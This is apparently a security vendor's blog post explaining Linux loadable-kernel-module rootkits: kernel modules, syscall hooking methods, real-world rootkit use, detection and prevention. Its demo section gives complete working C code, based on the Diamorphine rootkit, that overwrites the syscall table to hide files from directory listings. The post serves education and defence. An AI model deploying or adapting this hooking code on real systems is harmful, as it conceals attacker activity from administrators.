Linux rootkits explained – Part 2: Loadable kernel modules

In the previous part of this series, we looked at the LD_PRELOAD user-space rootkit. We learned how these rootkits work and provided best practices for detecting them on your operating system.

In Linux (and other Unix-like operating systems), system memory is divided into two distinct domains: user space and kernel space. These spaces represent different areas of memory and serve different purposes, providing a fundamental separation between user-level applications and the operating system's core functionality (the kernel). The separation between the two spaces enhances system stability, security, and overall performance.

In part 2 of this series, we will explore the LKM (Loadable Kernel Modules) kernel-space rootkit. This rootkit technique has been utilized by different threat actors in the wild, including:

- TeamTNT, which used the Diamorphine open-source LKM rootkit to hide cryptomining process.
- Winnti group, (APT 41) which used adore-ng and suterusuLKM rootkits to conceal different malicious activity.

In this blog, we'll examine what loadable kernel modules are, how attackers abuse this capability, provide examples of usage in the wild, and explain how to detect it.

Loadable kernel modules

The Linux kernel is the core of the operating system that manages system resources and provides essential services to other parts of the operating system and applications. Loadable kernel modules are pieces of code that can be dynamically loaded into the Linux kernel to extend its functionality without the need to recompile the kernel or even reboot. For example, when you need to handle a new type of filesystem that is not supported by the kernel, you may need to load a specific kernel module designed to provide support for that filesystem type.

Loadable kernel modules are designed to be loadable at runtime, allowing adaptation of the kernel to different hardware configurations and supporting various devices and features without recompiling or modifying the main kernel code.

Exploring and interacting with kernel modules from the user-space

Linux provides various commands to manage kernel modules which are part of the kmod utility. These commands include:

- `insmod`: used to manually insert a kernel module into the running kernel.
- `rmmod`: used to unload (remove) a kernel module.
- `modprobe`: an advanced module management tool that not only loads modules but also handles module dependencies, automatically loading related modules when needed.
- `lsmod`: used to list all loaded kernel modules. It operates by reading information from the /proc/modules file and querying the /sys/module/ directory for details on each module.

Typically, users don't directly invoke `kmod`, as it is primarily used by package managers and system tools to handle kernel modules efficiently.

Three relevant files and directories are:

- **/lib/modules/ -** contains kernel modules and related files specific to different kernel versions installed on the system. Each subdirectory within /lib/modules/ corresponds to a particular kernel version and contains the following components. It allows the operating system to keep different kernel versions and their associated modules separate, making it easier to switch between kernel versions when needed.
- **/proc/modules** - this virtual file provides a list of currently loaded kernel modules. Each line in this file represents a single loaded module and contains information about that module, including its name, size, and usage count.

- **/sys/module/ -** this virtual directory provides information about the currently loaded kernel modules. Each loaded module has its own directory under /sys/modules/, and within each module's directory, there are different files containing information about the module. This directory allows user-space processes, tools, and administrators to access information about loaded kernel modules and their properties at runtime. Browse here to learn more about the structure of this directory.

Syscalls (system calls) and kernel functions

Before we dive into how attackers abuse LKMs, it is important to understand what syscalls and kernel functions are.

When a user space program needs to perform tasks that require interaction with the kernel (e.g., reading a file, creating a network socket, managing processes), it has to ask the kernel to perform these actions. Syscalls act as an **interface** between user-space and kernel-space, allowing the kernel to execute the requested operation on behalf of the user program. Browse the Linux syscalls manual page for more information about syscalls.

Syscalls are a way to call a function in the kernel from user-space, but the vast majority of kernel code is not exposed as syscalls, and instead used internally by the kernel to perform various tasks related to managing system resources and maintaining the overall operation of the operating system. They are not part of the standardized interface that user programs can access through syscalls.

Example:

Run `strace ls`:

`strace ls` output

In the snippet above, we can see the usage of the `getdents64`(get directory entries) **syscall**. This syscall is used for retrieving directory entries from a directory. It is primarily used by programs that need to read the contents of a directory, including `ls` and `ps`. In this case, we executed `ls` on an empty directory so that is the reason this syscall received 2 entries (the default `.` and `..`).

`filldir` is a function in the kernel and is called from `fs/readdir.c`. It is responsible for filling directory entries (file names and metadata) into a directory buffer during directory listing. `getdents` system call is defined in the `fs/readdir.c` and uses the `filldir` function (see fs/readdir source code).

Abuse of LKM

In the previous part of this series, we mentioned that rootkits are often used to hide malicious activity by hooking execution flow. While in the user-space attackers can, for example, overwrite libc functions for this purpose, hijacking the control flow in the kernel space will come into practice by hooking kernel functions or

syscalls.

Limitations

The usage of LKM rootkits presents certain constraints for threat actors. These constraints can be divided into **permissions** and **portability** (compilation):

Permissions

- Containers: unlike user-mode rootkits, kernel module rootkits require access to the system kernel on the host machine. Threat actors that compromise a container will have the capability to load kernel modules if either of these are true:
    1. The container is privileged
    2. The container has the SYS_MODULE capability
    3. The attacker's controlled thread has the SYS_MODULE capability
- Virtual machine/host: the threat actor must have root privileges or ability to execute a process with SYS_MODULE capability.

In addition, security mechanisms such as seccomp and AppArmor can be employed to restrict the actions of processes, including the prevention of interactions with kernel modules. Furthermore, systems` kernels can be compiled without module loading capability at all.

Portability

Kernel modules must be compiled using the specific kernel headers compatible with the target system's kernel version. In addition, kernel functions and objects vary between kernel versions and architecture. Consequently, for each unique kernel version, a distinct module compilation may be required. This complexity poses a challenge for attackers, as they cannot just drop and load a pre-compiled `.ko` (kernel object file) file. Instead, they must either compile the module directly on the target system or on a system that matches the kernel headers of the target system.

While it is considered best practice, it's important to note that there might be alternative methods to avoid the necessity of a full compilation when loading a kernel module.

Kernel functions hooking methods

Once threat actors are able to insert a malicious LKM, they have complete control over the kernel space (hence, over the entire machine), and they can abuse different features in the kernel.

Let's list some of the **common** methods used by attackers to hook kernel functions: Syscall table modification, Kprobes (kernel probes), Ftrace, and VFS (Virtual File System) manipulation.

We will detail each method in high-level and reference an open-source LKM rootkit project that leverages it. Exploring these rootkit projects can help understand how these methods come into practice by threat actors.

Syscall table modification

The syscall table is a data structure used by the Linux kernel to manage system calls. It serves as a lookup table that contains pointers to the functions responsible for handling specific system calls. When a user-space program makes a system call, the kernel uses this table to find the appropriate handler function and execute the requested system call.

Syscall flow from user-space to kernel

With complete control over the kernel space, it is possible to alter this table and manipulate handler pointer values. Attackers can hook any system call by saving the old handler value and adding their own handler to the table.

An open-source LKM rootkit project that leverages this method: Diamorphine .

Using Kprobes (kernel probes)

Kprobes are a dynamic instrumentation feature in the Linux kernel that allows developers to insert custom code (probes) at specific points within the kernel's code paths. These probes are designed to be used for debugging, profiling, tracing, and gathering runtime information about the kernel's behavior without requiring modification of the actual kernel code.

Kprobes work by attaching a probe handler function to a chosen point in the kernel's code. When that specific code path is executed, the probe handler function is invoked. By placing a kprobe on a sensitive kernel function, attackers can execute their code whenever that function is called.

An open-source LKM rootkit project that leverages this method: Reptile (leverages khook).

Using Ftrace

Ftrace is a built-in tracing framework within the Linux kernel that provides tools and infrastructure for collecting and analyzing distinct types of runtime information about the kernel's behavior and performance. It is designed to help developers and system administrators understand how the kernel operates and identify performance bottlenecks, debugging issues, and more.

Ftrace allows users to trace specific kernel functions. Attackers can use this feature to hook and intercept the execution of kernel functions.

An open-source LKM rootkit project that leverages this method: Ftrace-hook .

VFS (Virtual File System) manipulation

The VFS is a key component of Unix-like operating systems, it provides a filesystem interface to user-space programs by enabling syscalls such as open(), stat(), read(), write(), and chmod(). The VFS abstracts and unifies access to different filesystems, allowing various filesystem implementations to coexist. VFS is a family of data structures representing the common file model. The four primary object types of the VFS are:

- Superblock object - represents a specific mounted filesystem.
- Inode object - represents a specific file (e.g regular files, directories, FIFOs and sockets).
  This object holds the field of inode operations (i_op) structure. Inode operations are a set of low-level functions provided by the filesystem layer in an operating system to manipulate and interact with files and directories. This includes – lookup(), rename(), mkdir(), unlink() and more (note that the structure varies between kernel versions).
- Dentry - represents a directory entry, a single component of a path.
- File object - represents an open file as associated with a process.
  This object holds the field of file operations (f_op) structure. File operations are functions that define how files can be manipulated when they are open for reading, writing, or other forms of access. This includes – read(), write(), mmap(), fsync(), and more (note that the structure varies between kernel versions).

In high level, each of these objects holds a pointer to the next object, with the following node structure: file object -> dentry object -> inode object -> superblock object. Browse here for more information about VFS.

Attackers can hook into function pointers associated with specific filesystems, such as the `root` and `proc` and replace them with their own function pointers. For example, replace the `readdir` file operation function pointer (see file operation structure for older kernel versions).

An open-source LKM rootkit project that leverages this method: adore-ng and suterusu .

Demo time

As mentioned, the `getdents` syscall is used by programs such as `ls` and `ps` that read the contents of a directory as part of their flow. This syscall is commonly hooked as part of LKM rootkits. It is also worth noting that attackers commonly hook the `filldir` (or `fillonedir`) kernel function, therefore hooking `filldir` is a lower-level hooking for the same purpose.

Let's create a kernel module that hooks the `getdents64` syscall using the syscall table modification method to hide files named "malicious_file", compile it, and load it.

Important:

- **Inserting and removing kernel modules can break the kernel. Make sure to run this demo on a disposable, non-production, non-critical environment where you can afford to lose all the data.**

- **This demo will work for kernel versions between `4.16.0 and 5.7.0` and X86/ X86_64 architecture.**

1. Create a working directory under /tmp:
`mkdir /tmp/test-lkm-rootkit && cd /tmp/test-lkm-rootkit`

2. Install relevant packages, including kernel headers that match your kernel:

* For `apt` based machines: run `apt install -y build-essential libncurses-dev linux-headers-$(uname -r)`
* For `yum` based machines run `yum install -y kernel-devel-$(uname -r) && yum –y groupinstall 'Development Tools'`

3. Create a `Makefile` and copy the following content:

```
obj-m := lkmdemo.o
CC = gcc -Wall
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)

all:
        $(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
  $(MAKE) -C $(KDIR) M=$(PWD) clean
```

4. Create a file named lkmdemo.c and copy the module code below (the code is based on Diamorphine rootkit):

```
#include <linux/sched.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/version.h>
#include <linux/proc_ns.h>
#include <linux/fdtable.h>
#ifndef __NR_getdents
#define __NR_getdents 141
#endif
#define MAGIC_PREFIX "malicious_file"
#define MODULE_NAME "lkmdemo"

struct linux_dirent {
        unsigned long   d_ino;
        unsigned long   d_off;
        unsigned short  d_reclen;
        char            d_name[1];
};

unsigned long cr0;
static unsigned long *__sys_call_table;
typedef asmlinkage long (*t_syscall)(const struct pt_regs *);
static t_syscall orig_getdents;
static t_syscall orig_getdents64;

unsigned long * get_syscall_table_bf(void)
{
  unsigned long *syscall_table;
  syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
  return syscall_table;
}
static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) {
  struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
  int ret = orig_getdents64(pt_regs), err;
  unsigned long off = 0;
  struct linux_dirent64 *dir, *kdirent, *prev = NULL;
  if (ret <= 0)
    return ret;
  kdirent = kzalloc(ret, GFP_KERNEL);
  if (kdirent == NULL)
    return ret;
  err = copy_from_user(kdirent, dirent, ret);
  if (err)
    goto out;
  while (off < ret) {
    dir = (void *)kdirent + off;
    if (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0) {
      if (dir == kdirent) {
        ret -= dir->d_reclen;
```

```
        memmove(dir, (void *)dir + dir->d_reclen, ret);
        continue;
      }
      prev->d_reclen += dir->d_reclen;
    } else
      prev = dir;
    off += dir->d_reclen;
  }
  err = copy_to_user(dirent, kdirent, ret);
  if (err)
    goto out;
out:
  kfree(kdirent);
  return ret;
}

static asmlinkage long hacked_getdents(const struct pt_regs *pt_regs) {
  struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
  int ret = orig_getdents(pt_regs), err;
  unsigned long off = 0;
  struct linux_dirent *dir, *kdirent, *prev = NULL;
  if (ret <= 0)
    return ret;
  kdirent = kzalloc(ret, GFP_KERNEL);
  if (kdirent == NULL)
    return ret;
  err = copy_from_user(kdirent, dirent, ret);
  if (err)
    goto out;
  while (off < ret) {
    dir = (void *)kdirent + off;
    if (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0) {
      if (dir == kdirent) {
        ret -= dir->d_reclen;
        memmove(dir, (void *)dir + dir->d_reclen, ret);
        continue;
      }
      prev->d_reclen += dir->d_reclen;
    } else
      prev = dir;
    off += dir->d_reclen;
  }
  err = copy_to_user(dirent, kdirent, ret);
  if (err)
    goto out;
out:
  kfree(kdirent);
  return ret;
}

static inline void write_cr0_forced(unsigned long val)
```

```
{
  unsigned long __force_order;
  asm volatile(
    "mov %0, %%cr0"
    : "+r"(val), "+m"(__force_order));
}

static inline void protect_memory(void)
{
  write_cr0_forced(cr0);
}
static inline void unprotect_memory(void)
{
  write_cr0_forced(cr0 & ~0x00010000);
}

static int __init lkmdemo_init(void)
{
  __sys_call_table = get_syscall_table_bf();
  if (!__sys_call_table)
    return -1;
  cr0 = read_cr0();
  orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];
  orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
  unprotect_memory();
  __sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
  __sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;
  protect_memory();
  return 0;
}

static void __exit lkmdemo_cleanup(void)
{
  unprotect_memory();
  __sys_call_table[__NR_getdents] = (unsigned long) orig_getdents;
  __sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64;
  protect_memory();
}

module_init(lkmdemo_init);
module_exit(lkmdemo_cleanup);

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("demo");
MODULE_DESCRIPTION("LKM rootkit based on diamorphine");
```

5. Run `make` to create a `.ko` file.

6. Create a file named malicious_file `touch malicious_file`.

7. Run `ls` on the working directory and see the `malicious_file` file in the output.

8. Load the kernel module `insmod lkmdemo.ko.`

9. Run `ls` again, and we will see that now `malicious_file` is hidden from the output.

10. Run `lsmod` and see lkmdemo in the output.

11. Unload the module `rmmod lkmdemo`.

Usage in the wild

Loadable Kernel Module (LKM) rootkits have been detected in numerous real-world threats. Notably, many of the documented attacks have leveraged open-source rootkits. However, this doesn't necessarily imply that the majority of LKM rootkits in the wild originate from open-source projects. Due to the inherent difficulty in detecting loaded kernel modules, it is suspected that there may be undisclosed threats that remain undocumented.

TeamTNT group: Diamporphine rootkit.

> TeamTNT used Diamorphine to hide cryptomining process(es) in different campaigns since August 2020 and in more recent campaigns such as Kiss-a-Dog which was attributed to this group.

Melofee malware / Campaign targeting vulnerable Fortinet services / Campaign targeting South Korean companies: Reptile rootkit.

> Reptile is a powerful rootkit that besides concealing malicious activity, it provides backdoor capability. It was recently documented as being part of different Chinese attributed threats; a campaign targeting vulnerable Fortinet services, Melofee malware, and a campaign targeting South Korean companies. Interestingly, ASEC, the company that published the latter campaign, presented similarities between artifacts found in this campaign to Melofee malware.

Winnti group (APT 41) / RedXor malware / Syslogk malware: Adore-ng, Suterusu rootkits.

> Adore-ng was initially documented as part of the Winnti group (APT 41) toolset. Although being an old rootkit (last commit was 8 years ago) that suits for old kernel versions (hence, legacy systems), its usage was observed in a more recent malware, RedXor, which was attributed to a Chinese threat actor. In June 2022, Avast has reported a new rootkit, Syslogk which is heavily based on adore-ng.

Skidmap malware.

> Skidmap malware uses LKM rootkits to hide cryptomining activity. In the latest report by trustwave of this evolving threat, Skidmap has been seen targeting vulnerable Redis instances.

Detecting LKM rootkits

LKM rootkits are leveraged by attackers to intercept different kernel-level functions, increasing the complexity of investigating compromised systems. The following techniques can help identify the presence of such rootkits:

- Compare the runtime filesystem to the image snapshot. If there is a difference, these files might be part of an attack hidden from certain commands.
- Once a kernel module is loaded, the `init_module` (or `finit_module`) syscall is called. If you are using a runtime detection tool, make sure it alerts you on this event.
- Utilize tools like unhide. Unhide uses different brute force techniques to detect concealed processes.

Moreover, the Wiz runtime sensor detects LKM attacks. See the following example of an alert detailing the demo kernel module being loaded:

Wiz runtime sensor detection for LKM insertion

Learn more about the Wiz runtime sensor.

Preventing LKM rootkits

To minimize the possibility of being attacked with LKM rootkit within your environment, we recommend considering the following steps:

- Make sure that you are not using privileged containers or containers with the SYS_MODULE capability *if they are not needed*. You can use Wiz to detect such containers via Wiz's Security Graph or Cloud Configuration Rules.
- Minimize internet-facing services.
- Ensure applications do not have excessive capabilities, and avoid using root user permissions where not needed.
- Use access control mechanisms such as AppArmor and SElinux to limit which processes and users can load and interact with kernel modules.
- Use secure boot. Secure boot is a feature that ensures that only signed and trusted components, including kernel modules, can be loaded during the system boot process. It prevents the loading of unauthorized modules.

Summary

Loadable Kernel Module (LKM) rootkits leverage different kernel features to hook kernel functions. Attackers that successfully load LKM rootkits have full control over the resource, concealing malicious activity causing detection to be challenging.

In this post, we provided an intro to this rootkit method. We detailed what kernel modules are used for and how they are abused by threat actors. We listed examples of the usage of this rootkit in the wild and provided best practices on how to detect this type of rootkit.

Stay tuned for part 3 of this series, where we will delve into eBPF rootkits.

This blog post was written by Wiz Research, as part of our ongoing mission to analyze threats to the cloud, build mechanisms that prevent and detect them, and fortify cloud security strategies.

Tags

#Security